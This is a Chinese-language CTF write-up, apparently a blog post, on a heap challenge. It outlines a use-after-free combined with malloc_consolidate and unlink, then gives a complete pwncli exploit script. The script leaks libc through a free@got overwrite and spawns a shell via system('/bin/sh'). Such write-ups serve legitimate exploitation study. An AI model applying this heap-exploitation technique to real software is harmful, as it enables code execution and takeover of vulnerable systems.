总结
一个UAF
洞,然后是常规的unlink
。穿插着一个malloc_consolidation
的理解,即如何构造unlink
的条件。
利用过程
- 申请小的
chunk
- 申请大的
chunk
- 释放掉小的
chunk
- 申请超大的
chunk
,此时触发malloc_consolidation
,得到一个小的samll bin chunk
- 再次释放小的
chunk
去overlap
- 申请小的
chunk
,布局unlink
- 释放大的
chunk
,触发unlink
- 修改
free@got
为puts@plt
泄露地址
- 修改
free@got
为system
获取shell
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def keep(size_type:int, data:(str, bytes)):
p.sendlineafter("3. Renew secret\n", "1")
p.sendlineafter("2. Big secret\n", str(size_type))
p.sendafter("Tell me your secret: \n", data)
def swip(size_type:int):
p.sendlineafter("3. Renew secret\n", "2")
p.sendlineafter("2. Big secret\n", str(size_type))
def renew(size_type:int, data:(str, bytes)):
p.sendlineafter("3. Renew secret\n", "3")
p.sendlineafter("2. Big secret\n", str(size_type))
p.sendafter("Tell me your secret: \n", data)
def get_small(data="deadbeef\n"): keep(1, data)
def get_big(data="deadbeef\n"): keep(2, data)
def get_huge(data="deadbeef\n"): keep(3, data)
def free_small(): swip(1)
def free_big(): swip(2)
def write_small(data): renew(1, data)
def write_big(data): renew(2, data)
get_small()
get_big()
free_small()
get_huge()
free_small()
layout = [0, 0x21,
0x6020d0-0x18, 0x6020d0 - 0x10, 0x20]
get_small(flat(layout))
free_big()
write_small(flat(0, elf.got['puts'], 0, elf.got['free'], (1 << 32) + 1))
write_small(p64(elf.plt['puts']))
free_big()
libc_base_addr = u64(p.recvn(6) + b"\x00\x00") - libc.sym['puts']
log_address("libc_base_addr", libc_base_addr)
write_small(p64(libc.sym['system'] + libc_base_addr))
get_big("/bin/sh\x00")
free_big()
p.interactive()
|
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli